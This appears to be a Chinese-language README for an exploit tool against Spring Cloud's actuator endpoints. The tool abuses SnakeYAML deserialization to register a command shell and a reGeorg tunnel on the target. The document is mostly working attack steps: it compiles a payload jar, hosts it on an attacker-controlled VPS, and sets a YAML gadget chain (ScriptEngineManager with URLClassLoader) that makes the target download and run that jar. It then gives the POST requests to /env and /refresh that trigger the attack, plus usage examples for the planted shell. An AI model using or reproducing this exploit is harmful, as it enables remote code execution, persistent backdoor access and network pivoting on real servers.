Spring Cloud SnakeYAML 一键注册cmd shell和reGeorg
利用条件:
- 可以 POST 请求目标网站的
/env
接口设置属性 - 可以 POST 请求目标网站的
/refresh
接口刷新配置(存在spring-boot-starter-actuator
依赖) - 目标依赖的
spring-cloud-starter
版本 < 1.3.0.RELEASE - 目标可以请求攻击者的 HTTP 服务器(请求可出外网)
仅在JDK1.8及Spring1.x测试通过,其他版本自测.
利用方法如下:
cd yaml-payload
javac src/artsploit/AwesomeScriptEngineFactory.java -cp ./lib
javac src/artsploit/Tunnel.java -cp ./lib
javac src/artsploit/GameInfo.java -cp ./lib
jar -cvf yaml-payload.jar -C src/ .
在自己控制的vps
机器上开启一个简单HTTP
服务器,端口尽量使用常见HTTP
服务端口(80、443)
# 使用 python 快速开启 http server
python2 -m SimpleHTTPServer 80
python3 -m http.server 80
在网站根目录下放置后缀为yml
的文件yaml-payload.yml
,内容如下:
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["https://your-vps-ip/yaml-payload.jar"]
]]
]
在网站根目录下放置打包好的yaml-payload.jar
POST /env
Content-Type: application/x-www-form-urlencoded
spring.cloud.bootstrap.location=https://your-vps-ip/yaml-payload.yml
POST /refresh
Content-Type: application/x-www-form-urlencoded
- reGeorg: https://localhost:9092/api/v1/tunnel
- cmd shell: https://localhost:9092/api/v1/game POST:code=whoami